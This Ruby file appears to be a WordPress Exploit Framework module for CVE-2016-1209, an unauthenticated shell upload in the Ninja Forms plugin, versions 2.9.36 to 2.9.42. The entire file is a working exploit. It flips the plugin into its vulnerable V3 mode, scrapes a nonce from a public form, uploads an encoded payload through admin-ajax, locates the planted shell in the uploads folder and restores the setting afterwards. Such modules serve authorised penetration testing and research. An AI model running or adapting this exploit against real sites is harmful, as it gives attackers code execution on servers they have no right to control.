# frozen_string_literal: true

class Wpxf::Exploit::NinjaFormsUnauthenticatedShellUpload < Wpxf::Module
  include Wpxf::WordPress::ShellUpload

  def initialize
    super

    update_info(
      name: 'Ninja Forms 2.9.36 to 2.9.42 Unauthenticated Shell Upload',
      author: [
        'James Golovich', # Discovery and disclosure
        'rastating'       # WPXF module
      ],
      references: [
        ['CVE', '2016-1209'],
        ['WPVDB', '8485'],
        ['URL', 'http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities']
      ],
      date: 'May 04 2016'
    )

    register_options([
      StringOption.new(
        name: 'form_path',
        desc: 'The relative path of the page that hosts any form served by Ninja Forms',
        required: true
      )
    ])
  end

  def check
    check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36')
  end

  def uploader_url
    wordpress_url_admin_ajax
  end

  def payload_body_builder
    builder = Utility::BodyBuilder.new
    builder.add_field('action', 'nf_async_upload')
    builder.add_field('security', ninja_form_nonce)
    builder.add_file_from_string(Utility::Text.rand_alpha(5), payload.encoded, payload_name)
    builder
  end

  def uploaded_payload_location
    normalize_uri(wordpress_url_uploads, "nftmp-#{payload_name.downcase}")
  end

  def fetch_ninja_form_nonce
    res = execute_get_request(url: normalize_uri(full_uri, datastore['form_path']))
    return false unless res && res.code == 200
    @ninja_form_nonce = res.body[/var nfFrontEnd = \{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1]
    @ninja_form_nonce
  end

  def before_upload
    # Enable the v3 functionality.
    emit_info 'Enabling vulnerable V3 functionality...'
    execute_get_request(url: full_uri, params: { 'nf-switcher' => 'upgrade' })

    # Fetch a nonce for the upload.
    emit_info 'Fetching Ninja Form nonce...'
    unless fetch_ninja_form_nonce
      emit_error 'Failed to acquire a valid nonce'
      emit_error "Ensure that #{normalize_uri(full_uri, datastore['form_path'])} contains a valid form"
      return false
    end
    emit_success "Nonce acquired: #{ninja_form_nonce}", true

    super
  end

  def cleanup
    # Disable the v3 functionality.
    execute_get_request(url: full_uri, params: { 'nf-switcher' => 'rollback' })
    super
  end

  attr_reader :ninja_form_nonce
end
